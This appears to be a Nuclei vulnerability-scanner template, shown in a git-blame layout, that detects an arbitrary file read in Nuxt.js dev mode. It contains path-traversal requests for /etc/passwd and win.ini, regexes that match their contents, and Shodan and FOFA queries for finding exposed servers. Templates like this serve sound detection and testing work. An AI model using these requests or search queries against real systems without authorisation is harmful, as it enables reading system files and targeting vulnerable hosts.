2023-06-17 05:14:18 +00:00
|
|
|
id: nuxt-js-lfi
|
|
|
|
|
|
|
|
|
|
info:
|
|
|
|
|
name: Arbitrary File Read in Dev Mode - Nuxt.js
|
|
|
|
|
author: DhiyaneshDK
|
|
|
|
|
severity: high
|
|
|
|
|
description: |
|
|
|
|
|
Vite is misconfigured within nuxt to permit any file to be retrieved from the file system.
|
|
|
|
|
reference:
|
|
|
|
|
- https://huntr.dev/bounties/4849af83-450c-435e-bc0b-71705f5be440/
|
|
|
|
|
- https://bryces.io/blog/nuxt3
|
|
|
|
|
- https://twitter.com/fofabot/status/1669339995780558849
|
|
|
|
|
metadata:
|
2023-10-14 11:27:55 +00:00
|
|
|
verified: "true"
|
2023-06-21 21:03:53 +00:00
|
|
|
max-request: 2
|
|
|
|
|
shodan-query: html:"buildAssetsDir" "nuxt"
|
2023-10-14 11:27:55 +00:00
|
|
|
fofa-query: body="buildAssetsDir" && body="__nuxt"
|
|
|
|
|
tags: huntr,lfi,nuxtjs
|
2023-06-17 05:14:18 +00:00
|
|
|
|
|
|
|
|
http:
|
|
|
|
|
- method: GET
|
|
|
|
|
path:
|
|
|
|
|
- "{{BaseURL}}/_nuxt/@fs/etc/passwd"
|
|
|
|
|
- "{{BaseURL}}/_nuxt/@fs/windows/win.ini"
|
|
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
|
- type: regex
|
|
|
|
|
part: body
|
|
|
|
|
regex:
|
|
|
|
|
- "root:.*:0:0:"
|
|
|
|
|
- "\\[(font|extension|file)s\\]"
|
|
|
|
|
condition: or
|
